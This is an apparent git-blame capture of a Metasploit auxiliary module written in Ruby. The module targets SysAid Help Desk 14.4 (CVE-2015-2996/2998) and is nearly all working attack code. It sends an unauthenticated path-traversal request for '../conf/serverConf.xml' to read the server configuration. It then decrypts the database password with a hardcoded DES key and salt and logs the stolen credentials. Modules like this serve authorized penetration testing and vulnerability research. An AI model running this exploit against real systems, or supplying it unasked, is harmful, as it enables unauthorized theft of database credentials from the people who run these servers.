2015-06-03 20:46:48 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2015-06-03 20:46:48 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'openssl'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2015-06-03 20:46:48 +00:00
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
2015-07-17 17:34:46 +00:00
|
|
|
'Name' => 'SysAid Help Desk Database Credentials Disclosure',
|
2015-06-03 20:46:48 +00:00
|
|
|
'Description' => %q{
|
2015-07-17 17:34:46 +00:00
|
|
|
This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
|
|
|
|
user to download arbitrary files from the system. This is used to download the server
|
|
|
|
configuration file that contains the database username and password, which is encrypted
|
2015-07-20 21:19:21 +00:00
|
|
|
with a fixed, known key. This module has been tested with SysAid 14.4 on Windows and Linux.
|
2015-06-03 20:46:48 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2015-07-17 17:34:46 +00:00
|
|
|
['CVE', '2015-2996'],
|
|
|
|
['CVE', '2015-2998'],
|
2015-10-28 15:45:02 +00:00
|
|
|
['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'],
|
|
|
|
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/sysaid-14.4-multiple-vulns.txt']
|
2015-06-03 20:46:48 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jun 3 2015'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptPort.new('RPORT', [true, 'The target port', 8080]),
|
2015-07-17 17:34:46 +00:00
|
|
|
OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2015-06-03 20:46:48 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def decrypt_password (ciphertext)
|
|
|
|
salt = [-87, -101, -56, 50, 86, 53, -29, 3].pack('c*')
|
2017-01-17 20:44:45 +00:00
|
|
|
cipher = OpenSSL::Cipher.new("DES")
|
2015-06-03 20:46:48 +00:00
|
|
|
base_64_code = Rex::Text.decode_base64(ciphertext)
|
|
|
|
cipher.decrypt
|
|
|
|
cipher.pkcs5_keyivgen 'inigomontoya', salt, 19
|
|
|
|
|
|
|
|
plaintext = cipher.update base_64_code
|
|
|
|
plaintext << cipher.final
|
|
|
|
plaintext
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'),
|
|
|
|
'vars_get' => {
|
|
|
|
'fileName' => '../conf/serverConf.xml'
|
|
|
|
},
|
|
|
|
})
|
|
|
|
rescue Rex::ConnectionRefused
|
2015-07-17 17:34:46 +00:00
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect.")
|
2015-06-03 20:46:48 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if res && res.code == 200 && res.body.to_s.bytesize != 0
|
|
|
|
username = /\<dbUser\>(.*)\<\/dbUser\>/.match(res.body.to_s)
|
|
|
|
encrypted_password = /\<dbPassword\>(.*)\<\/dbPassword\>/.match(res.body.to_s)
|
|
|
|
database_url = /\<dbUrl\>(.*)\<\/dbUrl\>/.match(res.body.to_s)
|
|
|
|
database_type = /\<dbType\>(.*)\<\/dbType\>/.match(res.body.to_s)
|
|
|
|
|
2015-07-17 17:34:46 +00:00
|
|
|
unless username && encrypted_password && database_type && database_url
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to obtain database credentials.")
|
|
|
|
end
|
|
|
|
|
|
|
|
username = username.captures[0]
|
|
|
|
encrypted_password = encrypted_password.captures[0]
|
|
|
|
database_url = database_url.captures[0]
|
|
|
|
database_type = database_type.captures[0]
|
|
|
|
password = decrypt_password(encrypted_password[6..encrypted_password.length])
|
|
|
|
credential_core = report_credential_core({
|
|
|
|
password: password,
|
|
|
|
username: username
|
|
|
|
})
|
|
|
|
|
|
|
|
matches = /(\w*):(\w*):\/\/(.*)\/(\w*)/.match(database_url)
|
|
|
|
if matches
|
|
|
|
begin
|
|
|
|
if database_url['localhost'] == 'localhost'
|
|
|
|
db_address = matches.captures[2]
|
|
|
|
db_port = db_address[(db_address.index(':') + 1)..(db_address.length - 1)].to_i
|
|
|
|
db_address = rhost
|
|
|
|
else
|
|
|
|
db_address = matches.captures[2]
|
|
|
|
if db_address.index(':')
|
|
|
|
db_address = db_address[0, db_address.index(':')]
|
|
|
|
db_port = db_address[db_address.index(':')..(db_address.length - 1)].to_i
|
2015-06-03 20:46:48 +00:00
|
|
|
else
|
2015-07-17 17:34:46 +00:00
|
|
|
db_port = 0
|
2015-06-03 20:46:48 +00:00
|
|
|
end
|
2015-07-17 17:34:46 +00:00
|
|
|
db_address = Rex::Socket.getaddress(db_address, true)
|
2015-06-03 20:46:48 +00:00
|
|
|
end
|
2015-07-17 17:34:46 +00:00
|
|
|
database_login_data = {
|
|
|
|
address: db_address,
|
|
|
|
service_name: database_type,
|
|
|
|
protocol: 'tcp',
|
|
|
|
port: db_port,
|
|
|
|
workspace_id: myworkspace_id,
|
|
|
|
core: credential_core,
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
|
|
}
|
|
|
|
create_credential_login(database_login_data)
|
|
|
|
# Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
|
|
|
|
rescue SocketError
|
|
|
|
fail_with(Failure::Unknown, 'Could not resolve database server hostname.')
|
2015-06-03 20:46:48 +00:00
|
|
|
end
|
2015-07-17 17:34:46 +00:00
|
|
|
|
2017-07-19 10:39:15 +00:00
|
|
|
print_good("Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}")
|
2015-07-17 17:34:46 +00:00
|
|
|
return
|
2015-06-03 20:46:48 +00:00
|
|
|
end
|
|
|
|
else
|
2015-07-17 17:34:46 +00:00
|
|
|
fail_with(Failure::NotVulnerable, "#{peer} - Failed to obtain database credentials, response was: #{res.code}")
|
2015-06-03 20:46:48 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def report_credential_core(cred_opts={})
|
|
|
|
origin_service_data = {
|
|
|
|
address: rhost,
|
|
|
|
port: rport,
|
|
|
|
service_name: (ssl ? 'https' : 'http'),
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
private_type: :password,
|
|
|
|
private_data: cred_opts[:password],
|
|
|
|
username: cred_opts[:username]
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data.merge!(origin_service_data)
|
|
|
|
create_credential(credential_data)
|
|
|
|
end
|
|
|
|
end
|